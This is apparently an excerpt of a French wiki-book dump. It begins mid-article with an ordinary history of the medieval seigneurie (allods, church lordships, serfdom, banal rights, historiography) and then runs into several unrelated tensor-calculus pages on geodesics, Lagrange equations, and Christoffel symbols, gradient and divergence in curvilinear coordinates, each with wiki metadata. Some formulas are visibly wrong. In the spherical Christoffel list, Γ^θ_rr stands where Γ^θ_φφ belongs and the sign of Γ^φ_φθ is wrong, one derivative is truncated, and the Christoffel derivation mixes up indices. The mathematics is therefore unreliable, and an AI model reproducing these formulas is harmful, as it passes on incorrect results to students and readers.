domestiques. Elle comprend les forêts, sur lesquelles pèsent des droits d'usage. *Pourtant, la réserve seigneuriale laïque disparaît progressivement entre le Xe et le XIIIe siècle, à la faveur de plusieurs facteurs : **partages successoraux **donations aux établissements religieux **ventes **transformation en censives (accensement) sur lesquelles le seigneur prélève de nouvelles redevances ==Le problème de l'alleu== Reprenons la définition de Robert Fossier : l'alleu est "''un bien en toute propriété, en principe sans autres charges et services que publiques''" c'est-à-dire les impôts dues au comte ou à son représentant. La question de l'alleu fait l'objet de nombreux débats dans la communauté des médiévistes. L'alleu domine dans le sud de la France jusqu'au XIe siècle<ref>Gauvard, ''Dictionnaire du Moyen Âge'', p.1372</ref>. *L'alleu paysan *L'alleu aristocratique *À partir du XIe siècle, l'alleu tend à disparaître sous l'effet de l'encellulement seigneurial et des institutions féodo-vassaliques. Les alleux aristocratiques deviennent des fiefs, alors que les alleux paysans sont transformés en tenures. Il ne faut pas pour autant perdre de vue que les grands défrichements permettent à l'alleu de subsister dans certaines régions<ref>Gauvard, ''La France au Moyen Âge'', p.151</ref>. Enfin, si les alleutiers échappent au contrôle des seigneurs fonciers, ils sont souvent sous la dépendance d'un seigneur banal. La justice seigneuriale concerne en effet tous les individus. ==Les seigneuries ecclésiastiques== Les historiens sont assez bien renseignés sur les seigneuries ecclésiastiques au bénéfice d'une documentation relativement abondante. Les monastères reçoivent des terres en don des l'époque mérovingienne. En contre-partie, les moines prient pour le salut du donateur. Ces domaines fonciers peuvent être concédées à titre de bénéfice à l'époque carolingienne, puis de fief aux siècles suivants. Le patrimoine des institutions religieuses : dons contre prières, véritable politique foncière (constitution de grandes réserves cultivées en faire-valoir direct au XIIE siècle = granges cisterciennes). Mais cet idéal ne resiste pas au XIIIe siècle, et les seigneuries ecclésiastiques se morcellent comme les seigneuries laïques. ===Des "propriétaires" laïcs=== Depuis le Haut Moyen Âge, de nombreuses abbayes sont sous la coupe de laïcs : le roi capétien contrôle l'abbaye de Saint-Denis aux Xe et XIe siècles. Sous les Carolingiens, les princes, les évêques et les seigneurs ont mis la main sur les établissements religieux. Ils exigent le droit de gîte ou des redevances. Ils considèrent parfois le patrimoine de l'Eglise comme d'une réserve dans laquelle puiser pour distribuer des bénéfices et des fiefs. Les moines prient pour le salut de leur âme et de leur famille. Ils demandent à Dieu de préserver la paix et la stabilité du royaume. À partir du Xe siècle, les moines tendent à se libérer de ces contraintes. Les laïcs continuent de concéder des terres aux établissements religieux mais renoncent aux abbatiats laïcs. Ils souhaitent être enterrés près des reliques conservées dans les abbayes. Au XIIIe siècle, les ordres mendiants et militaires concurrencent d'ailleurs les autres réguliers. L'Eglise perçoit en plus des dîmes, redevances sur les récoltes et les produits haleutiers ou miniers, en échange des services spirituels qu'elle rend (sacrements, prières). Les revenus des abbayes servaient à fournir la table des moines : son approvisionnement était pris en charge par le cellerier. Les sommes d'argent permettait au chambrier (ou camérier) d'acheter les vêtements et les couvertures des moines. Le prévôt était chargé de gérer le domaine monastique. Cet officier pouvait déléguer son pouvoir à un maire local. ===Saint-Denis=== L'abbaye de Saint-Denis contrôle la foire du Lendit qui rapporte en 1122 182 livres<ref>D. A. Davril, E. Palazzo, ''La vie des moines ...'', p. 267</ref>. : elle prélève des droits (sur les comptoirs), des péages et des tonlieux très lucratifs. Elle exige que les transactions s'effectuent en livres parisis et ajoute à ses revenus les produits du change<ref>D. A. Davril, E. Palazzo, ''La vie des moines ...'', p. 267</ref>. ===Les abbayes, des puissances temporelles=== Les abbés prestigieux tels que Suger, essaient de récupérer les terres usurpées par les seigneurs laïcs. Ils gèrent un domaine qui tend à s'agrandir, car ils ne sont pas divisés par les partages successoraux (les clercs sont en principe célibataires et ne fondent pas de lignages comme les seigneurs laïcs). Les laïcs offrent des terres qui deviennent des sauvetés dans le sud, dont les revenus sont partagés entre seigneur laïc et ecclésiastique. Les moines cultivent les parcelles les plus proches du monastère. Les autres tenures sont accensées. Certains monastères reçoivent la dîme. =La seigneurie personnelle= ==L'époque carolingienne : survivance de l'esclavage ?== *Les non-libres : sont totalement dépourvus de liberté. Leur qualité d'esclave ("macule") est transmise par la mère. Ils peuvent être baptisés et se marier. Il sont parfois chasés sur une terre. Ils étaient exclus de l'armée et de la justice des hommes libres. **Leurs origines : vente, guerre, condamnation de justice *Les demi-libres : entrent dans cette catégorie une foule de personnes aux statuts bâtards, plus ou moins dépendants. ==Les serfs au Moyen Âge classique== Les débats historiographiques portent sur l'origine du servage : est-il une continuation de l'esclavage carolingien ou un nouveau phénomène apparu au XIe siècle ? *Les affranchissements deviennent de plus en plus fréquents aux XIIe et XIIIe siècles. L'esclavagisme a largement régressé avant le Xe siècle dans le Sud<ref>D. Barthélémy, ''L'ordre seigneurial ...'', p.90</ref>. *Les paysans sont plus ou moins dépendants d'un maître : les serfs sont astreints à des charges serviles. Appelés également "hommes de corps" ou "hommes du maître", ils doivent le chevage, le formariage et la mainmorte. Leur servitude se transmet par les hommes et ils ne disposent pas de leurs biens. Ils doivent prêtr serment de fidélité (hommage servile) et ne peuvent quitter la seigneurie sans accord. **La mainmorte : à la mort du serf, le seigneur se considère comme le premier héritier : il prélève parfois la moitié des biens meubles ou une partie du bétail. *Certaines régions n'ont pratiquement pas de serfs : Normandie, Forez<ref>Gauvard, ''La France au Moyen Âge'', p.187</ref>. *Les domestiques ==L'immunité== Le roi accorde des exemptions juridique et fiscales. Les immunistes versent une taxe en échange de la dispense de l'ost. =La seigneurie banale= Selon les auteurs, on trouvera aussi les expressions "seigneurie châtelaine" ou encore "seigneurie justicière". ==Origines== Au cours du IXe siècle se met en place un contexte qui favorise l'essor de la seigneurie banale. Les raids scandinaves et les incursions sarrasines menacent l'Occident. Les Carolingiens se disputent, dilapident leur trésor et finissent par abandonner une partie de leurs pouvoirs aux princes territoriaux (comtes...). Ces derniers subissent le même processus politique aux Xe et XIe siècle. Les gardiens de châteaux ou encore les viguiers et centeniers accaparent des droits (ost, impôts jusqu'ici publics), président des cours de justice seigneuriale, et prennent sous leur ascendant une partie de la population locale. Ces châtelains enserrent les individus dans le cadre seigneurial et exigent des taxes : monopole sur le moulin, le pressoir et le four domanial, demande un droit de passage sur le pont, imposition de droits sur la circulation des marchandises ... Le seigneur justifie ces taxes par le fait qu'il protège ses dépendants par son château ("sauvement") et qu'il investit dans les infrastructures économiques (moulins, routes, ponts...). Le château devient le symbole de la ''potestas'' du seigneur. ==Les manifestations== ===La coutume=== La coutume (ou les coutumes, ''consuetudines'' en latin) est un ensemble de droits seigneuriaux transmis par oral (on en trouve les indices dans les actes) et mis par écrit à partir du XIIe siècle. Elle apparaît dans le contexte de désagrégation du pouvoir central et législateur aux IXe et Xe siècles. Elle peut-être imposée par la force ou par la négociation avec les dépendants. Les banalités sont payées aux ministériaux des seigneurs ecclésiastiques. Elles peuvent être inféodées à des vassaux. ===La justice seigneuriale=== Elle se divise en deux catégorie : haute et basse justice selon le montant de l'amende. Sous les Carolingiens, le comte se chargeait de présider le tribunal public et se réservait une partie des amendes. Au XIe siècle, les seigneurs se sont emparés de ces revenus importants. ===Corvées au château=== *curer les douves *renforcer les courtines ===Prélèvement de la taille=== La taille seigneuriale est un impôt arbitraire. Elle prend des noms différents selon les régions : queste, tolte (latin ''tollere'' signifiant "enlever"), maltote, forcia. Le seigneur la justifie en rappelant que son château protège la population et que cette prestation n'est pas gratuite. Les paysans se rebellent souvent contre la taille : au milieu du XIIIe siècle, les tenanciers refusent de la payer au monastère de Saint-Denis<ref>D. A. Davril, E. Palazzo, ''La vie des moines ...'', p. 265</ref>. La taille seigneuriale est transformée en redevance dans certaines régions à partir du XIIe siècle<ref>Gauvard, ''La France au Moyen Âge'', p.155</ref>. Elle perd son caractère arbitraire et exceptionnel pour devenir un abonnement régulier. ===Taxes économiques et contrôle de la circulation=== *tonlieux *péages *droit de gîte, ("albergue" en Provence ou en Catalogne) est théoriquement réservé aux agents en mission. *commandise ===Monopoles économiques=== Appelés aussi "banalités" *Banvin *Usage obligatoire et payant du moulin, du pressoir et du four seigneurial =La remise en cause de la seigneurie à la fin du Moyen Âge= ==Crise démographique== Le dépeuplement de la France aux XIVe et XVe siècle s'explique par la peste (à partir de 1348), les famines et les guerres. Il provoque une crise de la seigneurie : la main d'œuvre se fait plus rare, les redevances rentrent moins facilement. Les dépenses liées aux conflits grèvent le budget seigneurial. ==La ville : une seigneurie collective<ref>Gauvard, ''Dictionnaire du Moyen Âge'', p.1317</ref>== La seigneurie n'est pas qu'un phénomène rural. À partir du XIIe siècle, certaines villes française acquièrent le droit de ban : cela explique l'origine du mot "banlieue", le territoire sur lequel s'applique le droit de ban. ===Le mouvement communal=== ==Réaction seigneuriale== * Augmentation du cens * Augmentation des droits de mutation =Débats historiographiques autour de la seigneurie= *La seigneurie, élément d'oppression ou cadre de l'essor paysan ? Certains historiens parlent d'"extorsion seigneuriale systématique"<ref>D. Barthélémy, ''L'ordre seigneurial ...'', p.89</ref>. Depuis quelques années, les chercheurs remettent en cause la présentation de la seigneurie comme "un système oppressif de domination et d'exploitation du labeur paysan"<ref>Leturcq Samuel, ''La vie rurale ...'', p. 110</ref> largement inspirée des théories marxistes de lutte des classes, cette vision ne résiste pas à l'examen attentif des sources et des situations réelles. Au XIe siècle, le seigneur ne dispose pas de suffisamment de moyens pour faire respecter une autorité absolue. Les paysans eux-mêmes ne représentent pas une classe uniforme ; les situations juridiques et économiques varient grandement d'une personne à l'autre. Il existe de nombreux témoignages de ce "terrorisme seigneurial" si l'on suit l'expression de Pierre Bonnassie. Les abus de pouvoir des châtelains sont importants dans les premiers temps. Mais les paysans ne se laissent pas faire : ils s'opposent parfois violemment aux mauvaises coutumes et à l'arbitraire de leur seigneur : ils portent plainte, ils s'organisent en communautés villageoises qui permettent de faire pression sur le seigneur et d'obtenir des compromis (franchises). *La définition de la "propriété" au Moyen Âge pose également problème. La tenure ou le fief sont des terres qui sont "assujetties à des droits, des usages ou des services partagés entre plusieurs individus et institutions"<ref>Leturcq Samuel, ''La vie rurale ...'', p. 116</ref>. Le paysan ou le vassal ne sont donc par propriétaires de la terre mais seulement usufruitiers. Les droits de mutation et le renouvellement de l'hommage démontrent bien cette qualité. Le seigneur dispose d'un droit éminent sur la terre, alors que le paysan en retire un droit utile. =Notes= <references/> =Bibliographie= *GAUVARD C., De LIBERA A., ZINC M., ''Dictionnaire du Moyen Âge'', Paris, PUF, 2002 : article "seigneurie". *Gauvard Claude, ''La France au Moyen Âge'', Paris, PUF "Quadrige", 2004 ; p.153-157, "la seigneurie". *Leturcq Samuel, ''La vie rurale en France au Moyen Âge'', Paris, Colin, 2004 ; chapitre 6 "Paysannerie et seigneurie". *Dom Anselme Davril, Eric Palazzo, ''La vie des moines au temps des grandes abbayes'', Paris, Hachette, 2000. *Dominique Barthélémy, ''L'ordre seigneurial, XIe-XIIe siècle'', Paris, Le Seuil, 1990 ; chapitre 3 : "La seigneurie et la croissance". Calcul tensoriel/Coordonnées curvilignes/Événements 7492 45734 2006-06-26T07:23:08Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Espace-temps plan/Événement]] Calcul tensoriel/Espace euclidien/Coordonnées sphériques 7493 36356 2006-03-06T22:14:46Z Fapae 1199 Une fois déterminé le [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur métrique|tenseur métrique]], il est facile de calculer le [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Gradient|gradient]], la [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Divergence|divergence]], le [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Laplacien|laplacien]], le [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Rotationnel|rotationnel]], le [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Symbole de Christoffel|symbole de Christoffel]]. ATTENTION, par rapport à l'article [[Wikipedia:Coordonnées polaires]], on utilise échange ici les symboles <math>\phi</math> et <math>\theta</math>, et on utilise la colatitude <math>\theta</math> à la place de la latitude <math>\phi</math>. Voir [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques et sphériques, conflits de notations|une page sur les conflits de notations]]. Calcul tensoriel/Appendices/Équations de Lagrange 7494 43348 2006-05-28T20:02:05Z Fapae 1199 Usage du : avant <math> Étant donné un [[Calcul tensoriel/Coordonnées curvilignes/Système de coordonnées|système de coordonnées]] quelconque <math>x_i</math>, une variable <math>\tau</math> permettant de paramétrer les trajectoires, on considère une fonction ''L'' qui ne dépend que des variables <math>x_i</math> et leur dérivée totale par rapport à <math>\tau</math> <math>\dot{x}_i</math>. On veut trouver une trajectoire <math>x_i\left(\tau\right)</math> d'extrémités données <math>\tau_1</math> et <math>\tau_2</math>, qui minimise l'intégrale : <math>\int_{\tau_1}^{\tau_2} L\left(x_i, \dot{x}_i\right) d\tau</math> Considérons une trajectoire infiniment voisine <math>x'\left(\tau\right) = x\left(\tau\right) + \epsilon \xi\left(\tau\right)</math> avec <math>\epsilon</math> un [[infiniment petit]] et <math>\xi\left(\tau_1\right) = \xi\left(\tau_2\right) = 0</math>. Supposant que les solutions sont trouvées et <math>\xi\left(\tau_1\right)</math> donné, la fonction : <math>S\left(\epsilon\right) = \int_{\tau_1}^{\tau_2} \left(L\left(x_i, \dot{x}_i\right) + \epsilon \xi\left(\tau\right) \frac{\partial L}{\partial x_i} + \epsilon \dot{\xi}\left(\tau\right) \frac{\partial L}{\partial \dot{x_i}} + o\left(\epsilon\right) \right)d\tau </math> est minimale pour <math>\epsilon = 0</math> : : <math>0 = \left[ \frac{dS}{d\epsilon} \right] \left(0\right) = \int_{\tau_1}^{\tau_2} \left( \xi\left(\tau\right) \frac{\partial L}{\partial x_i} + \dot{\xi}\left(\tau\right) \frac{\partial L}{\partial \dot{x_i}} \right)d\tau </math> Intégrant par parties le second terme sous l'intégrale et profitant du fait que <math>\xi</math> a été supposée nulle aux bornes, on a : <math>0 = \int_{\tau_1}^{\tau_2} \left(\xi\left(\tau\right) \frac{\partial L}{\partial x_i} - \xi\left(\tau\right) \frac{d}{d\tau} \frac{\partial L}{\partial \dot{x_i}} \right)d\tau </math> Comme la fonction <math>\xi</math> est quelconque, on doit avoir : <math>\frac{\partial L}{\partial x_i} - \frac{d}{d\tau} \frac{\partial L}{\partial \dot{x_i}} = 0</math> * Remarques *# En mécanique classique, le paramètre est le temps et ces équations sont les équations de Lagrange proprement dites. *# Si le paramètre est la longueur de la trajectoire, ces équations fournissent l'[[Calcul tensoriel/Géodésiques/Équation géodésique|équation géodésique]]. Calcul tensoriel/Géodésiques/Équation géodésique/Paramétrisation canonique 7495 43353 2006-05-28T20:39:09Z Fapae 1199 bug k l Un [[Calcul tensoriel/Notions élémentaires/Système de coordonnées|système de coordonnées]] étant donné, si l'on choisit de paramètrer les courbes par la mesure de leur longueur (appelé paramètre canonique), l'[[Calcul tensoriel/Géodésiques/Équation géodésique|équation géodésique]] devient : <math>\ddot{x}^k = g^{kl} \left(\frac{1}{2} g_{ij,l} - g_{il,j}\right) \dot{x}^i \dot{x}^j</math> Le point supérieur est la dérivée totale par rapport au paramètre canonique. [[Calcul tensoriel/Géodésiques/Équation géodésique/Paramétrisation canonique/Démonstration|Démonstration]]. Calcul tensoriel/Équation géodésique/Expression au moyen du symbole de Christoffel 7496 45737 2006-06-26T07:26:57Z Guillaumito 46 correction double redirection #REDIRECT [[Calcul tensoriel/Géodésiques/Équation géodésique/Paramétrisation canonique]] Calcul tensoriel/Géodésiques/Équation géodésique/Expression au moyen du symbole de Christoffel/Démonstration 7497 43362 2006-05-29T05:46:37Z 81.57.198.61 Utilisation du : , simplification, correction du signe Dans l'équation : <math>\ddot{x}^k = g^{kl} \left(\frac{1}{2} g_{ij,l} - g_{il,j}\right) \dot{x}^i \dot{x}^j</math> On remarque que les indices ''i'' et ''j'' jouent un rôle symétrique, ce qui permet d'écrire : <math>\ddot{x}^k = \frac{1}{2} g^{kl} \left(g_{ij,l} - g_{il,j} - g_{jl,i}\right) \dot{x}^i \dot{x}^j</math> On reconnait l'expression du [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique|symbole de Christoffel fonction du tenseur métrique]] et donc : <math>\ddot{x}^k = -\Gamma_{ij}^k \dot{x}^i \dot{x}^j </math> c.q.f.d. Calcul tensoriel/Géodésiques/Équation géodésique 7498 43354 2006-05-28T20:42:03Z Fapae 1199 changement d'indice On obtient l'équation d'une géodésique en écrivant que sa longueur est minimale. Un [[Calcul tensoriel/Notions élémentaires/Système de coordonnées|système de coordonnées]] <math>x^i</math> étant donné, le [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]] donne la longueur d'une courbe infinitésimale <math>ds = \sqrt{\left[-\right]g_{ij}d x^i dx^j}</math>. Le signe optionnel <math>\left[-\right]</math> est choisi en fonction du signe de l'intervalle et de la [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Signature|signature du tenseur métrique]]. Si la courbe est paramétrée au moyen d'une variable <math>\tau</math>, on écrit <math>ds = \sqrt{\left[-\right]g_{ij}\dot{x}^i \dot{x}^j} d\tau</math>, où le point supérieur représente la dérivée totale par rapport à <math>\tau</math>. La longueur de la trajectoire est donc la somme : <math>\int \sqrt{\left[-\right]g_{ij}\dot{x}^i \dot{x}^j} d\tau</math> En utilisant la [[Calcul tensoriel/Appendices/Équations de Lagrange|méthode de Lagrange]] pour exprimer que l'intégrale est minimale, on obtient l'équation géodésique : <math>\frac{\partial \dot{s}}{\partial x^l} - \frac{d}{d\tau} \left(\frac{\partial \dot{s}}{\partial \dot{x}^l}\right) = 0</math> avec : <math>\dot{s} = \sqrt{\left[-\right]g_{ij}\dot{x}^i \dot{x}^j}</math> Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Divergence 7499 36258 2006-03-06T16:28:30Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Divergence]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Divergence]] En [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques|coordonnées sphériques]], la racine carrée du déterminant du tenseur métrique vaut <math>r \; \sin \theta</math> et la [[Calcul tensoriel/Coordonnées curvilignes/Divergence|divergence]] d'un champ de vecteurs s'écrit <math>(\nabla \cdot \mathbf{v})^i = \frac{1}{r^2 \sin\theta} \partial_i \left(r^2 \sin\theta \; v^i\right)</math>. Dans la [[Calcul tensoriel/Coordonnées curvilignes/Base naturelle|base naturelle]], on a <math>\begin{matrix} \mathbf{v} &=& v^r \mathbf{e}_r &+& v^\theta \mathbf{e}_\theta &+& v^\phi \mathbf{e}_\phi \\ \nabla \cdot \mathbf{v} &=& \left(\frac{2}{r} + \frac{\partial}{\partial r}\right) v^r &+& \left(\frac{1}{\tan\theta} + \frac{\partial}{\partial \theta}\right) v^\theta &+& \frac{\partial}{\partial \phi} v^\phi \end{matrix} </math> et donc dans la base orthonormée <math>\left(\mathbf{e}_r, \frac{\mathbf{e}_{\theta}}{r}, \frac{\mathbf{e}_{\phi}}{r \sin\theta}\right)</math> : <math>\begin{matrix} \mathbf{v} &=& v^r \mathbf{e}_r &+& \left\{ r v^\theta \right\} \left\{ \frac{\mathbf{e}_\theta}{r} \right\} &+& \left\{ r \sin\theta \; v^\phi \right\} \left\{ \frac{\mathbf{e}_\phi}{r \sin\theta} \right\}\\ \nabla \cdot \mathbf{v} &=& \left(\frac{2}{r} + \frac{\partial}{\partial r}\right) v^r &+& \left( \frac{1}{r \tan \theta} + \frac{1}{r} \frac{\partial}{\partial \theta} \right) \left\{r v^\theta\right\} &+& \frac{1}{r \sin\theta}\frac{\partial}{\partial \phi} \left\{ {r \sin\theta \; v^\phi} \right\} \end{matrix} </math> Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Divergence 7500 36260 2006-03-06T16:29:10Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Divergence]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Divergence]] En [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques|coordonnées cylindriques]], la racine carrée du déterminant du tenseur métrique vaut ''r'' et la [[Calcul tensoriel/Coordonnées curvilignes/Divergence|divergence]] d'un champ de vecteurs s'écrit <math>(\nabla \cdot \mathbf{v})^i = \frac{1}{r} \partial_i \left(r v^i\right)</math>. Dans la [[Calcul tensoriel/Coordonnées curvilignes/Base naturelle|base naturelle]], on a <math>\begin{matrix} \mathbf{v} &=& v^r \mathbf{e}_r &+& v^\phi \mathbf{e}_\phi &+& v^z \mathbf{e}_z \\ \nabla \cdot \mathbf{v} &=& \left(\frac{1}{r} + \frac{\partial}{\partial r}\right) v^r &+& \frac{\partial}{\partial \phi} v^\phi &+& \frac{\partial}{\partial z} v^z \end{matrix} </math> et donc dans la base orthonormée <math>\left(\mathbf{e}_r, \frac{\mathbf{e}_{\phi}}{r}, \mathbf{e}_{z} \right)</math>: <math>\begin{matrix} \mathbf{v} &=& v^r \mathbf{e}_r &+& \left\{r v^\phi\right\} \left\{\frac{\mathbf{e}_\phi}{r}\right\} &+& v^z \mathbf{e}_z \\ \nabla \cdot \mathbf{v} &=& \left(\frac{1}{r} + \frac{\partial}{\partial r}\right) v^r &+& \frac{1}{r} \frac{\partial}{\partial \phi} \left\{r v^\phi\right\} &+& \frac{\partial}{\partial z} v^z \end{matrix} </math> Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Symbole de Christoffel 7501 36364 2006-03-06T22:30:47Z Fapae 1199 Le seul terme non constant du [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Tenseur métrique|tenseur métrique en coordonnées cylindriques]] est <math>g_{\phi\phi} = r^2</math>, et l'on a <math>g_{\phi\phi,r} = 2 r</math>. Les éléments non nuls du [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique|symbole de Christoffel fonction du tenseur métrique]] sont donc peu nombreux <math>\begin{matrix} \Gamma^{r}_{\phi\phi} & = & -r\\ \Gamma^{\phi}_{r\phi} = \Gamma^{\phi}_{\phi r} &=& \frac{1}{r} \end{matrix} </math> Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Symbole de Christoffel 7502 36367 2006-03-06T22:33:02Z Fapae 1199 Les seuls termes non constants du [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Tenseur métrique|tenseur métrique en coordonnées sphériques]] sont <math>g_{\theta\theta} = r^2</math>, <math>g_{\phi\phi} = r^2 \sin^2 \theta</math>, et l'on a <math>g_{\theta\theta,r} = 2 r</math>, <math>g_{\phi\phi,r} = 2 r \sin^2</math>, <math>g_{\phi\phi,\theta} = 2 r^2 \cos\theta \sin\theta</math>. Les éléments non nuls du [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique|symbole de Christoffel fonction du tenseur métrique]] sont donc peu nombreux <math>\begin{matrix} \Gamma^{r}_{\theta\theta} & = & -r\\ \Gamma^{r}_{\phi\phi} & = & -r \sin^2\theta\\ \Gamma^{\theta}_{r\theta} = \Gamma^{\theta}_{\theta r} &=& r^{-1}\\ \Gamma^{\theta}_{r r} &=& -\cos\theta \sin\theta\\ \Gamma^{\phi}_{r\phi} = \Gamma^{\phi}_{\phi r} &=& r^{-1}\\ \Gamma^{\phi}_{\phi\theta} = \Gamma^{\phi}_{\theta\phi} &=& -\cot\theta \end{matrix} </math> Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique 7503 37911 2006-03-16T09:26:25Z Fapae 1199 Le [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel|symbole de Christoffel]] s'écrit en fonction de la dérivée partielle <math>g_{ij,k} = \frac{\partial g_{ij}}{\partial x^k}</math> du [[Calcul tensoriel/Notions élémentaires/Tenseur métrique|tenseur métrique]]: <math>\Gamma^k_{ij} = \frac{1}{2} g^{kl} \left(g_{lj,i} + g_{li,j} - g_{ij,l}\right)</math> [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique/Démonstration|Démonstration]] Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique/Démonstration 7504 36300 2006-03-06T18:28:58Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel/Fonction du tenseur métrique/Démonstration]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Symbole de Christoffel/Fonction du tenseur métrique/Démonstration]] Partant de l'expression de la [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Dérivée partielle|dérivée partielle du tenseur métrique]], on calcule, en profitant de la symétrie du [[Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel|symbole de Christoffel]] <math>g_{lj,i} + g_{li,j} - g_{ij,l} = g_{lm} \Gamma^m_{ji} + g_{jm} \Gamma^k_{mi} + g_{lm} \Gamma^m_{ij} + g_{im} \Gamma^k_{mj} - g_{im} \Gamma^m_{jl} + g_{jm} \Gamma^k_{im} = 2 g_{lm} \Gamma^m_{ij} </math> Le [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique|tenseur métrique]] étant son [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Matrice inverse|propre inverse]] (<math>g^{kl} g_{lm} = \delta^k_m</math>), on obtient le [[Calcul tensoriel/Coordonnées curvilignes/Symbole de Christoffel/Fonction du tenseur métrique|résultat cherché]] <math>\Gamma^k_{ij} = \frac{1}{2} g^{kl} \left(g_{lj,i} + g_{li,j} - g_{ij,l}\right)</math> en multipliant par <math>\frac{1}{2} g^{kl}</math>. Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Gradient 7505 36185 2006-03-05T22:51:18Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Gradient]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées cylindriques/Gradient]] Compte tenu de l'expression du [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées cylindriques/Tenseur métrique|tenseur métrique en coordonnées cylindriques]], le [[Calcul tensoriel/Coordonnées curvilignes/Gradient|gradient]] <math>g^{ij} f_{;i} \mathbf{e}_j</math> d'un champ scalaire <math>f</math> s'écrit <math>\nabla f = \frac{\partial f}{\partial r}\mathbf{e}_r + \frac{1}{r^2}\frac{\partial f}{\partial \phi}\mathbf{e}_{\phi} + \frac{\partial f}{\partial z}\mathbf{e}_{z} </math> Soit, dans la base orthonormée, <math>\nabla f = \frac{\partial f}{\partial r}\mathbf{e}_r + \frac{1}{r}\frac{\partial f}{\partial \phi}\left\{\frac{\mathbf{e}_{\phi}}{r}\right\} + \frac{\partial f}{\partial z}\mathbf{e}_{z} </math> Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Gradient 7506 36325 2006-03-06T20:58:34Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Gradient]] déplacé vers [[Calcul tensoriel/Espace euclidien/Coordonnées sphériques/Gradient]] Compte tenu de l'expression du [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Tenseur métrique|tenseur métrique en coordonnées sphériques]], le [[Calcul tensoriel/Coordonnées curvilignes/Coordonnées sphériques/Gradient|gradient]] <math>g^{ij} f_{;i} \mathbf{e}_j</math> d'un champ scalaire <math>f</math> s'écrit <math>\nabla f = \frac{\partial f}{\partial r}\mathbf{e}_r + \frac{1}{r^2}\frac{\partial f}{\partial \theta}\mathbf{e}_{\theta} + \frac{1}{r^2 \sin^2\theta}\frac{\partial f}{\partial \phi}\mathbf{e}_{\phi} </math> Soit, dans la base orthonormée <math>\nabla f = \frac{\partial f}{\partial r}\mathbf{e}_r + \frac{1}{r}\frac{\partial f}{\partial \theta}\left\{\frac{\mathbf{e}_{\theta}}{r}\right\} + \frac{1}{r\sin\theta}\frac{\partial f}{\partial \phi}\left\{\frac{\mathbf{e}_{\phi}}{r\sin\theta}\right\} </math> Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de sa dérivée partielle 7507 36394 2006-03-07T08:48:39Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Pseudo-contraction de sa dérivée partielle]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de sa dérivée partielle]] Le produit contracté du tenseur métrique et de sa dérivée partielle change de signe lorsqu'on remonte les indices d'un terme du produit et que l'on descend les indices de l'autre terme : <math>g^{ij} g_{ij,k} = - g_{ij} g^{ij}{}_{,k}</math> [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Pseudo-contraction de sa dérivée partielle/Démonstration|Démonstration]] == Remarques == * Si <math>g_{ij,k}</math> était un tenseur, on aurait le signe +. * On a bien un tenseur en calculant la [[dérivée covariante]] <math>g_{ij;k}</math> du tenseur métrique, mais [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Nullité de la dérivée covariante|ce tenseur est nul]]. Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de sa dérivée partielle/Démonstration 7508 36387 2006-03-06T23:07:31Z Fapae 1199 [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Pseudo-contraction de sa dérivée partielle/Démonstration]] déplacé vers [[Calcul tensoriel/Notions élémentaires/Tenseur métrique/Pseudo-contraction de sa dérivée partielle/Démonstrat La matrice <math>g^{ij}</math> est l'[[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Matrice inverse|inverse de la matrice du tenseur métrique]] <math>g_{ij}</math> : <math>g^{ij} g_{jk} = \delta^i_k</math>. Profitant de la [[Calcul tensoriel/Coordonnées curvilignes/Tenseur métrique/Symétrie|symétrie du tenseur métrique]], on a <math>g^{ij} g_{ji} = \delta^i_i</math>. 